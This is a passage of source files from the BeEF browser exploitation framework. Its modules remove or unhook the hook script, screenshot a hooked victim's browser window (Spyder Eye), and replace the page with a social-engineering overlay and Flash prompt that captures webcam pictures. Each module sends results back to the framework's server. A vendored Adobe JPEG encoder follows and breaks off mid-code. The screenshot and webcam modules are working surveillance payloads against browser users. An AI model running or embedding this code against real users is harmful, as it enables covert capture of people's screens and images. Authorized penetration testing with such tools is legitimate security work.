    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t/**\n\t * Removes the BeEF hook.js\n\t * @return: true if the hook.js script is removed from the DOM\n\t */\n\tvar removeHookElem = function() {\n\t\tvar removedFrames = $j('script[src*=\"'+beef.net.hook+'\"]').remove();\n\t\tif (removedFrames.length > 0) {\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\tif (removeHookElem() == true) {\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=successfully removed the hook script element\");\n\t} else {\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=something did not work\");\n\t}\n\n});\n\n"
  },
  {
    "path": "modules/browser/remove_hook_element/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        remove_hook_element:\n            enable: true\n            category: \"Browser\"\n            name: \"Remove Hook Element\"\n            description: \"This module removes the BeEF hook script element from the hooked page, but the underlying BeEF DOM object remains.\"\n            authors: [\"xntrik\"]\n            target:\n                 working: [\"All\"]\n"
  },
  {
    "path": "modules/browser/remove_hook_element/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Remove_hook_element < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result'] unless @datastore['result'].nil?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/spyder_eye/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar takes = parseInt('<%= @repeat %>', 10) || 1;\n\tvar delay = parseInt('<%= @delay %>', 10) || 0;\n\n\tsnap = function() {\n\t\ttry {\n\t\t\thtml2canvas(document.body).then(function(canvas) {\n\t    \t\tvar d = canvas.toDataURL('image/png');\n\t    \t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'image=' + d );\n\t    \t});\n\t    \tbeef.debug('[Spyder Eye] Took snapshot successfully');\n\t    }\n\t    catch (e) {\n\t\tbeef.debug('[Spyder Eye] Obtaining snapshot failed: ' + e.message);\n\t    \tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Obtaining snapshot failed: ' + e.message);\n\t    }\n\t};\n\n\ttakeit = function() {\n\t\tfor(var i = 0; i < takes; i++) {\n\t\t\tbeef.debug('[Spyder Eye] Taking snapshot #' + i);\n\t\t\tsetTimeout(snap, delay * i);\n\t\t}\n\t};\n\n\tif (typeof html2canvas == \"undefined\") {\t\t\n\t\tvar script = document.createElement('script');\n\t\tscript.type = 'text/javascript';\n\t\tscript.src = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/h2c.js';\n\t\t$j(\"body\").append(script);\n\n\t    setTimeout(takeit, 400);\n\t}\n\telse {\n\t\ttakeit();\n\t}\n\n});\n"
  },
  {
    "path": "modules/browser/spyder_eye/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        spyder_eye:\n            enable: true\n            category: \"Browser\"\n            name: \"Spyder Eye\"\n            description: \"This module takes a picture of the victim's browser window.\"\n            authors: [\"preth00nker\"]\n            target:\n                working:\n                    IE:\n                        min_ver: 9\n                        max_ver: latest\n                    FF:\n                        min_ver: 3\n                        max_ver: latest\n                    C:\n                        min_ver: 1\n                        max_ver: latest\n                    S:\n                        min_ver: 6\n                        max_ver: latest\n                    O:\n                        min_ver: 12\n                        max_ver: latest\n"
  },
  {
    "path": "modules/browser/spyder_eye/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Spyder_eye < BeEF::Core::Command\n  def self.options\n    [\n      { 'ui_label' => 'Repeat', 'name' => 'repeat', 'description' => 'Number of snapshot to take.', 'value' => '1', 'width' => '80px' },\n      { 'ui_label' => 'Delay', 'name' => 'delay', 'description' => 'Delay between taking each snapshot in ms. To low value may severily impact browser\\'s performance.',\n        'value' => '3000', 'width' => '80px' }\n    ]\n  end\n\n  def pre_send\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/spyder_eye/html2canvas.min.js', '/h2c', 'js')\n  end\n\n  def post_execute\n    content = {}\n    content['results'] = @datastore['results'] unless @datastore['results'].nil?\n    save content\n\n    # save screenshot file\n    begin\n      timestamp = Time.now.localtime.strftime('%Y-%m-%d_%H-%M-%S')\n      ip = BeEF::Core::Models::BrowserDetails.get(session_id, 'browser.ipaddress')\n      filename = \"#{$home_dir}/screenshot_#{ip}_-_#{timestamp}_#{@datastore['cid']}.png\"\n      File.open(filename, 'wb') do |file|\n        data = @datastore['results'].gsub(%r{^image=data:image/(png|jpg);base64,}, '')\n        file.write(Base64.decode64(data))\n      end\n      print_info(\"Browser screenshot saved to '#{filename}'\")\n      BeEF::Core::Logger.instance.register('Zombie', \"Browser screenshot saved to '#{filename}'\")\n    rescue StandardError => e\n      print_error(\"Could not write screenshot file '#{filename}' - Exception: #{e.message}\")\n    end\n\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/h2c.js')\n  end\nend\n"
  },
  {
    "path": "modules/browser/unhook/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=sent unhook request\");\n\n\t// remove script tag(s)\n\ttry {\n\t\tvar scripts = document.getElementsByTagName(\"script\");\n\t\tfor (var i=0; i<scripts.length; i++) {\n\t\t\tif (scripts[i].src.match(/https?:\\/\\/[^\\/]+\\/hook\\.js/)) {\n\t\t\t\tscripts[i].parentNode.removeChild(scripts[i]);\n\t\t\t}\n\t\t}\n\t} catch (e) { }\n\n\t// attempt to clean up DOM\n\ttry {\n\t\tdelete beef;\n\t\tdelete BEEFHOOK;\n\t\tbeef_init=null;\n\t\tBeefJS=null;\n\t} catch (e) { }\n\n});\n\n"
  },
  {
    "path": "modules/browser/unhook/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        unhook:\n            enable: true\n            category: \"Browser\"\n            name: \"Unhook\"\n            description: \"This module removes the BeEF hook from the hooked page.\"\n            authors: [\"bcoles\"]\n            target:\n                 working: [\"All\"]\n"
  },
  {
    "path": "modules/browser/unhook/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Unhook < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result'] unless @datastore['result'].nil?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/webcam_flash/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n\n\nbeef.execute(function() {\n    \n    /*\n    If you ever experience that the \"Allow button\" of the flash warning is not clickable, it can have several reasons:\n    - Some CSS/Flash bug: http://stackoverflow.com/questions/3003724/cant-click-allow-button-in-flash-on-firefox\n    - There is a bug in flash: http://forums.adobe.com/thread/880967\n    - You overlayed (a single pixel is enough) the warning message with something (e.g. a div). Try to not include the\n      body_social_engineer_and_overlay below and try again.\n    */\n    \n    \n    //The social engineering message and the overlay div's\n    var body_social_engineer_and_overlay = '<div class=\"thingy\" style=\"position:absolute;top:0px;left:0px;width:800px;height:109px\"></div> <div class=\"thingy\" style=\"position:absolute;top:105px;left:0px;width:100px;height:315px\"></div> <div class=\"thingy\" style=\"position:absolute;top:105px;left:315px;width:570px;height:315px\"></div> <div class=\"thingy\" style=\"position:absolute;top:248px;left:0px;width:400px;height:280px\"></div><div class=\"text\" style=\"position:absolute;top:20px;left:50px;z-index:100\"> <h2 style=\"margin:0\"><%= @social_engineering_title %></h2> <p style=\"width: 500px; font-size: 14px; margin:0\"><%= @social_engineering_text %></p></div>';\n    \n    \n    //These 4 function names [noCamera(), noCamera(), pressedDisallow(), pictureCallback(picture), allPicturesTaken()] are hard coded in the swf actionscript3. Flash will invoke these functions directly. The picture for the pictureCallback function will be a base64 encoded JPG string\n    var js_functions = '<script>function noCamera() { beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=The user has no camera\"); }; function pressedAllow() { beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=User pressed allow, you should get pictures soon\"); }; function pressedDisallow() { beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=User pressed disallow, you won\\'t get pictures\"); }; function pictureCallback(picture) { beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"image=data:image/jpg;base64,\"+picture); }; function allPicturesTaken(){  }';\n    \n    //This function is called by swfobject, if if fails to add the flash file to the page\n    \n    js_functions += 'function swfobjectCallback(e) { if(e.success){beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Swfobject successfully added flash object to the victim page\");}else{beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Swfobject was not able to add the swf file to the page. This could mean there was no flash plugin installed.\");} };</script>';\n    \n    \n    //Either do the overlay (body_social_engineer_and_overlay) or do something like in the next line (showing a message if adobe flash is not installed)\n    //We'll notice when flash is not installed anyway...\n    //var body_flash_container = '<div id=\"main\" style=\"position:absolute;top:150px;left:80px;width:300px;height:300px;opacity:0.8;\"><div><h1>You need FlashPlayer 9 or higher!</h1><p><a href=\"http://www.adobe.com/go/getflashplayer\"><img src=\"http://www.adobe.com/images/shared/download_buttons/get_flash_player.gif\" alt=\"Get Adobe Flash player\" /></a></p></div></div>';\n    var body_flash_container = '<div id=\"main\" style=\"position:absolute;top:150px;left:80px;width:300px;height:300px;opacity:0.8;\"></div>';\n    \n    \n    //The style is the only thing we already append to the head\n\tvar theHead = document.getElementsByTagName(\"head\")[0];         \n\tvar style = document.createElement('style');\n    style.type = 'text/css';\n    style.innerHTML = 'body { background: #eee; } .thingy { z-index:50; background-color:#eee; border:1px solid #eee; }';\n    theHead.appendChild(style);\n    \n    //A nice library that helps us to include the swf file\n    var swfobject_script = '<script type=\"text/javascript\" src=\"'+beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/swfobject.js\"></script>'\n    \n    //This is the javascript that actually calls the swfobject library to include the swf file \n    var include_script = '<script>var flashvars = {\\'no_of_pictures\\':\\'<%= @no_of_pictures %>\\', \\'interval\\':\\'<%= @interval %>\\'}; var parameters = {}; parameters.scale = \"noscale\"; parameters.wmode = \"opaque\"; parameters.allowFullScreen = \"true\"; parameters.allowScriptAccess = \"always\"; var attributes = {}; swfobject.embedSWF(\"'+beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/takeit.swf\", \"main\", \"403\", \"345\", \"9\", \"expressInstall.swf\", flashvars, parameters, attributes, swfobjectCallback);</script>';\n    \n    //Empty body first\n    $j('body').html('');\n    //Now show our flash stuff, muahahaha\n    $j('body').append(js_functions, swfobject_script, body_flash_container, body_social_engineer_and_overlay, include_script);\n    \n});\n\n\n\n\n\n"
  },
  {
    "path": "modules/browser/webcam_flash/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        webcam_flash:\n            enable: true\n            category: \"Browser\"\n            name: \"Webcam (Flash)\"\n            description: \"This module will show the Adobe Flash 'Allow Webcam' dialog to the user. The user has to click the allow button, otherwise this module will not return pictures.<br />The title/text to convince the user can be customised. You can customise how many pictures you want to take and in which interval (default will take 20 pictures, 1 picture per second). The picture is sent as a base64 encoded JPG string.\"\n            authors: [\"floyd @floyd_ch\"]\n            target:\n                 working: [\"All\"]\n"
  },
  {
    "path": "modules/browser/webcam_flash/dev/com/adobe/images/BitString.as",
    "content": "/*\r\n  Copyright (c) 2008, Adobe Systems Incorporated\r\n  All rights reserved.\r\n\r\n  Redistribution and use in source and binary forms, with or without \r\n  modification, are permitted provided that the following conditions are\r\n  met:\r\n\r\n  * Redistributions of source code must retain the above copyright notice, \r\n    this list of conditions and the following disclaimer.\r\n  \r\n  * Redistributions in binary form must reproduce the above copyright\r\n    notice, this list of conditions and the following disclaimer in the \r\n    documentation and/or other materials provided with the distribution.\r\n  \r\n  * Neither the name of Adobe Systems Incorporated nor the names of its \r\n    contributors may be used to endorse or promote products derived from \r\n    this software without specific prior written permission.\r\n\r\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\r\n  IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\r\n  THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\r\n  PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR \r\n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\r\n  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\r\n  PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\r\n  PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\r\n  LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\r\n  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\r\n  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n*/\r\npackage com.adobe.images\r\n{\r\n\tpublic class BitString\r\n\t{\r\n\t\tpublic var len:int = 0;\r\n\t\tpublic var val:int = 0;\r\n\t}\r\n}"
  },
  {
    "path": "modules/browser/webcam_flash/dev/com/adobe/images/JPGEncoder.as",
    "content": "/*\r\n  Copyright (c) 2008, Adobe Systems Incorporated\r\n  All rights reserved.\r\n\r\n  Redistribution and use in source and binary forms, with or without \r\n  modification, are permitted provided that the following conditions are\r\n  met:\r\n\r\n  * Redistributions of source code must retain the above copyright notice, \r\n    this list of conditions and the following disclaimer.\r\n  \r\n  * Redistributions in binary form must reproduce the above copyright\r\n    notice, this list of conditions and the following disclaimer in the \r\n    documentation and/or other materials provided with the distribution.\r\n  \r\n  * Neither the name of Adobe Systems Incorporated nor the names of its \r\n    contributors may be used to endorse or promote products derived from \r\n    this software without specific prior written permission.\r\n\r\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\r\n  IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\r\n  THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\r\n  PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR \r\n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\r\n  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\r\n  PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\r\n  PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\r\n  LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\r\n  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\r\n  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n*/\r\npackage com.adobe.images\r\n{\r\n\timport flash.geom.*;\r\n\timport flash.display.*;\r\n\timport flash.utils.*;\r\n\t\r\n\t/**\r\n\t * Class that converts BitmapData into a valid JPEG\r\n\t */\t\t\r\n\tpublic class JPGEncoder\r\n\t{\r\n\r\n\t\t// Static table initialization\r\n\t\r\n\t\tprivate var ZigZag:Array = [\r\n\t\t\t 0, 1, 5, 6,14,15,27,28,\r\n\t\t\t 2, 4, 7,13,16,26,29,42,\r\n\t\t\t 3, 8,12,17,25,30,41,43,\r\n\t\t\t 9,11,18,24,31,40,44,53,\r\n\t\t\t10,19,23,32,39,45,52,54,\r\n\t\t\t20,22,33,38,46,51,55,60,\r\n\t\t\t21,34,37,47,50,56,59,61,\r\n\t\t\t35,36,48,49,57,58,62,63\r\n\t\t];\r\n\t\r\n\t\tprivate var YTable:Array = new Array(64);\r\n\t\tprivate var UVTable:Array = new Array(64);\r\n\t\tprivate var fdtbl_Y:Array = new Array(64);\r\n\t\tprivate var fdtbl_UV:Array = new Array(64);\r\n\t\r\n\t\tprivate function initQuantTables(sf:int):void\r\n\t\t{\r\n\t\t\tvar i:int;\r\n\t\t\tvar t:Number;\r\n\t\t\tvar YQT:Array = [\r\n\t\t\t\t16, 11, 10, 16, 24, 40, 51, 61,\r\n\t\t\t\t12, 12, 14, 19, 26, 58, 60, 55,\r\n\t\t\t\t14, 13, 16, 24, 40, 57, 69, 56,\r\n\t\t\t\t14, 17, 22, 29, 51, 87, 80, 62,\r\n\t\t\t\t18, 22, 37, 56, 68,109,103, 77,\r\n\t\t\t\t24, 35, 55, 64, 81,104,113, 92,\r\n\t\t\t\t49, 64, 78, 87,103,121,120,101,\r\n\t\t\t\t72, 92, 95, 98,112,100,103, 99\r\n\t\t\t];\r\n\t\t\tfor (i = 0; i < 64; i++) {\r\n\t\t\t\tt = Math.floor((YQT[i]*sf+50)/100);\r\n\t\t\t\tif (t < 1) {\r\n\t\t\t\t\tt = 1;\r\n\t\t\t\t} else if (t > 255) {\r\n\t\t\t\t\tt = 255;\r\n\t\t\t\t}\r\n\t\t\t\tYTable[ZigZag[i]] = t;\r\n\t\t\t}\r\n\t\t\tvar UVQT:Array = [\r\n\t\t\t\t17, 18, 24, 47, 99, 99, 99, 99,\r\n\t\t\t\t18, 21, 26, 66, 99, 99, 99, 99,\r\n\t\t\t\t24, 26, 56, 99, 99, 99, 99, 99,\r\n\t\t\t\t47, 66, 99, 99, 99, 99, 99, 99,\r\n\t\t\t\t99, 99, 99, 99, 99, 99, 99, 99,\r\n\t\t\t\t99, 99, 99, 99, 99, 99, 99, 99,\r\n\t\t\t\t99, 99, 99, 99, 99, 99, 99, 99,\r\n\t\t\t\t99, 99, 99, 99, 99, 99, 99, 99\r\n\t\t\t];\r\n\t\t\tfor (i = 0; i < 64; i++) {\r\n\t\t\t\tt = Math.floor((UVQT[i]*sf+50)/100);\r\n\t\t\t\tif (t < 1) {\r\n\t\t\t\t\tt = 1;\r\n\t\t\t\t} else if (t > 255) {\r\n\t\t\t\t\tt = 255;\r\n\t\t\t\t}\r\n\t\t\t\tUVTable[ZigZag[i]] = t;\r\n\t\t\t}\r\n\t\t\tvar aasf:Array = [\r\n\t\t\t\t1.0, 1.387039845, 1.306562965, 1.175875602,\r\n\t\t\t\t1.0, 0.785694958, 0.541196100, 0.275899379\r\n\t\t\t];\r\n\t\t\ti = 0;\r\n\t\t\tfor (var row:int = 0; row < 8; row++)\r\n\t\t\t{\r\n\t\t\t\tfor (var col:int = 0; col < 8; col++)\r\n\t\t\t\t{\r\n\t\t\t\t\tfdtbl_Y[i]  = (1.0 / (YTable [ZigZag[i]] * aasf[row] * aasf[col] * 8.0));\r\n\t\t\t\t\tfdtbl_UV[i] = (1.0 / (UVTable[ZigZag[i]] * aasf[row] * aasf[col] * 8.0));\r\n\t\t\t\t\ti++;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\r\n\t\tprivate var YDC_HT:Array;\r\n\t\tprivate var UVDC_HT:Array;\r\n\t\tprivate var YAC_HT:Array;\r\n\t\tprivate var UVAC_HT:Array;\r\n\t\r\n\t\tprivate function computeHuffmanTbl(nrcodes:Array, std_table:Array):Array\r\n\t\t{\r\n\t\t\tvar codevalue:int = 0;\r\n\t\t\tvar pos_in_table:int = 0;\r\n\t\t\tvar HT:Array = new Array();\r\n\t\t\tfor (var k:int=1; k<=16; k++) {\r\n\t\t\t\tfor (var j:int=1; j<=nrcodes[k]; j++) {\r\n\t\t\t\t\tHT[std_table[pos_in_table]] = new BitString();\r\n\t\t\t\t\tHT[std_table[pos_in_table]].val = codevalue;\r\n\t\t\t\t\tHT[std_table[pos_in_table]].len = k;\r\n\t\t\t\t\tpos_in_table++;\r\n\t\t\t\t\tcodevalue++;\r\n\t\t\t\t}\r\n\t\t\t\tcodevalue*=2;\r\n\t\t\t}\r\n\t\t\treturn HT;\r\n\t\t}\r\n\t\r\n\t\tprivate var std_dc_luminance_nrcodes:Array = [0,0,1,5,1,1,1,1,1,1,0,0,0,0,0,0,0];\r\n\t\tprivate var std_dc_luminance_values:Array = [0,1,2,3,4,5,6,7,8,9,10,11];\r\n\t\tprivate var std_ac_luminance_nrcodes:Array = [0,0,2,1,3,3,2,4,3,5,5,4,4,0,0,1,0x7d];\r\n\t\tprivate var std_ac_luminance_values:Array = [\r\n\t\t\t0x01,0x02,0x03,0x00,0x04,0x11,0x05,0x12,\r\n\t\t\t0x21,0x31,0x41,0x06,0x13,0x51,0x61,0x07,\r\n\t\t\t0x22,0x71,0x14,0x32,0x81,0x91,0xa1,0x08,\r\n\t\t\t0x23,0x42,0xb1,0xc1,0x15,0x52,0xd1,0xf0,\r\n\t\t\t0x24,0x33,0x62,0x72,0x82,0x09,0x0a,0x16,\r\n\t\t\t0x17,0x18,0x19,0x1a,0x25,0x26,0x27,0x28,\r\n\t\t\t0x29,0x2a,0x34,0x35,0x36,0x37,0x38,0x39,\r\n\t\t\t0x3a,0x43,0x44,0x45,0x46,0x47,0x48,0x49,\r\n\t\t\t0x4a,0x53,0x54,0x55,0x56,0x57,0x58,0x59,\r\n\t\t\t0x5a,0x63,0x64,0x65,0x66,0x67,0x68,0x69,\r\n\t\t\t0x6a,0x73,0x74,0x75,0x76,0x77,0x78,0x79,\r\n\t\t\t0x7a,0x83,0x84,0x85,0x86,0x87,0x88,0x89,\r\n\t\t\t0x8a,0x92,0x93,0x94,0x95,0x96,0x97,0x98,\r\n\t\t\t0x99,0x9a,0xa2,0xa3,0xa4,0xa5,0xa6,0xa7,\r\n\t\t\t0xa8,0xa9,0xaa,0xb2,0xb3,0xb4,0xb5,0xb6,\r\n\t\t\t0xb7,0xb8,0xb9,0xba,0xc2,0xc3,0xc4,0xc5,\r\n\t\t\t0xc6,0xc7,0xc8,0xc9,0xca,0xd2,0xd3,0xd4,\r\n\t\t\t0xd5,0xd6,0xd7,0xd8,0xd9,0xda,0xe1,0xe2,\r\n\t\t\t0xe3,0xe4,0xe5,0xe6,0xe7,0xe8,0xe9,0xea,\r\n\t\t\t0xf1,0xf2,0xf3,0xf4,0xf5,0xf6,0xf7,0xf8,\r\n\t\t\t0xf9,0xfa\r\n\t\t];\r\n\t\r\n\t\tprivate var std_dc_chrominance_nrcodes:Array = [0,0,3,1,1,1,1,1,1,1,1,1,0,0,0,0,0];\r\n\t\tprivate var std_dc_chrominance_values:Array = [0,1,2,3,4,5,6,7,8,9,10,11];\r\n\t\tprivate var std_ac_chrominance_nrcodes:Array = [0,0,2,1,2,4,4,3,4,7,5,4,4,0,1,2,0x77];\r\n\t\tprivate var std_ac_chrominance_values:Array = [\r\n\t\t\t0x00,0x01,0x02,0x03,0x11,0x04,0x05,0x21,\r\n\t\t\t0x31,0x06,0x12,0x41,0x51,0x07,0x61,0x71,\r\n\t\t\t0x13,0x22,0x32,0x81,0x08,0x14,0x42,0x91,\r\n\t\t\t0xa1,0xb1,0xc1,0x09,0x23,0x33,0x52,0xf0,\r\n\t\t\t0x15,0x62,0x72,0xd1,0x0a,0x16,0x24,0x34,\r\n\t\t\t0xe1,0x25,0xf1,0x17,0x18,0x19,0x1a,0x26,\r\n\t\t\t0x27,0x28,0x29,0x2a,0x35,0x36,0x37,0x38,\r\n\t\t\t0x39,0x3a,0x43,0x44,0x45,0x46,0x47,0x48,\r\n\t\t\t0x49,0x4a,0x53,0x54,0x55,0x56,0x57,0x58,\r\n\t\t\t0x59,0x5a,0x63,0x64,0x65,0x66,0x67,0x68,\r\n\t\t\t0x69,0x6a,0x73,0x74,0x75,0x76,0x77,0x78,\r\n\t\t\t0x79,0x7a,0x82,0x83,0x84,0x85,0x86,0x87,\r\n\t\t\t0x88,0x89,0x8a,0x92,0x93,0x94,0x95,0x96,\r\n\t\t\t0x97,0x98,0x99,0x9a,0xa2,0xa3,0xa4,0xa5,\r\n\t\t\t0xa6,0xa7,0xa8,0xa9,0xaa,0xb2,0xb3,0xb4,\r\n\t\t\t0xb5,0xb6,0xb7,0xb8,0xb9,0xba,0xc2,0xc3,\r\n\t\t\t0xc4,0xc5,0xc6,0xc7,0xc8,0xc9,0xca,0xd2,\r\n\t\t\t0xd3,0xd4,0xd5,0xd6,0xd7,0xd8,0xd9,0xda,\r\n\t\t\t0xe2,0xe3,0xe4,0xe5,0xe6,0xe7,0xe8,0xe9,\r\n\t\t\t0xea,0xf2,0xf3,0xf4,0xf5,0xf6,0xf7,0xf8,\r\n\t\t\t0xf9,0xfa\r\n\t\t];\r\n\t\r\n\t\tprivate function initHuffmanTbl():void\r\n\t\t{\r\n\t\t\tYDC_HT = computeHuffmanTbl(std_dc_luminance_nrcodes,std_dc_luminance_values);\r\n\t\t\tUVDC_HT = computeHuffmanTbl(std_dc_chrominance_nrcodes,std_dc_chrominance_values);\r\n\t\t\tYAC_HT = computeHuffmanTbl(std_ac_luminance_nrcodes,std_ac_luminance_values);\r\n\t\t\tUVAC_HT = computeHuffmanTbl(std_ac_chrominance_nrcodes,std_ac_chrominance_values);\r\n\t\t}\r\n\t\r\n\t\tprivate var bitcode:Array = new Array(65535);\r\n\t\tprivate var category:Array = new Array(65535);\r\n\t\r\n\t\tprivate function initCategoryNumber():void\r\n\t\t{\r\n\t\t\tvar nrlower:int = 1;\r\n\t\t\tvar nrupper:int = 2;\r\n\t\t\tvar nr:int;\r\n\t\t\tfor (var cat:int=1; cat<=15; cat++) {\r\n\t\t\t\t//Positive numbers\r\n\t\t\t\tfor (nr=nrlower; nr<nrupper; nr++) {\r\n\t\t\t\t\tcategory[32767+nr] = cat;\r\n\t\t\t\t\tbitcode[32767+nr] = new BitString();\r\n\t\t\t\t\tbitcode[32767+nr].len = cat;\r\n\t\t\t\t\tbitcode[32767+nr].val = nr;\r\n\t\t\t\t}\r\n\t\t\t\t//Negative numbers\r\n\t\t\t\tfor (nr=-(nrupper-1); nr<=-nrlower; nr++) {\r\n\t\t\t\t\tcategory[32767+nr] = cat;\r\n\t\t\t\t\tbitcode[32767+nr] = new BitString();\r\n\t\t\t\t\tbitcode[32767+nr].len = cat;\r\n\t\t\t\t\tbitcode[32767+nr].val = nrupper-1+nr;\r\n\t\t\t\t}\r\n\t\t\t\tnrlower <<= 1;\r\n\t\t\t\tnrupper <<= 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\r\n\t\t// IO functions\r\n\t\r\n\t\tprivate var byteout:ByteArray;\r\n\t\tprivate var bytenew:int = 0;\r\n\t\tprivate var bytepos:int = 7;\r\n\t\r\n\t\tprivate function writeBits(bs:BitString):void\r\n\t\t{\r\n\t\t\tvar value:int = bs.val;\r\n\t\t\tvar posval:int = bs.len-1;\r\n\t\t\twhile ( posval >= 0 ) {\r\n\t\t\t\tif (value & uint(1 << posval) ) {\r\n\t\t\t\t\tbytenew |= uint(1 << bytepos);\r\n\t\t\t\t}\r\n\t\t\t\tposval--;\r\n\t\t\t\tbytepos--;\r\n\t\t\t\tif (bytepos < 0) {\r\n\t\t\t\t\tif (bytenew == 0xFF) {\r\n\t\t\t\t\t\twriteByte(0xFF);\r\n\t\t\t\t\t\twriteByte(0);\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse {\r\n\t\t\t\t\t\twriteByte(bytenew);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tbytepos=7;\r\n\t\t\t\t\tbytenew=0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\r\n\t\tprivate function writeByte(value:int):void\r\n\t\t{\r\n\t\t\tbyteout.writeByte(value);\r\n\t\t}\r\n\t\r\n\t\tprivate function writeWord(value:int):void\r\n\t\t{\r\n\t\t\twriteByte((value>>8)&0xFF);\r\n\t\t\twriteByte((value   )&0xFF);\r\n\t\t}\r\n\t\r\n\t\t// DCT & quantization core\r\n\t\r\n\t\tprivate function fDCTQuant(data:Array, fdtbl:Array):Array\r\n\t\t{\r\n\t\t\tvar tmp0:Number, tmp1:Number, tmp2:Number, tmp3:Number, tmp4:Number, tmp5:Number, tmp6:Number, tmp7:Number;\r\n\t\t\tvar tmp10:Number, tmp11:Number, tmp12:Number, 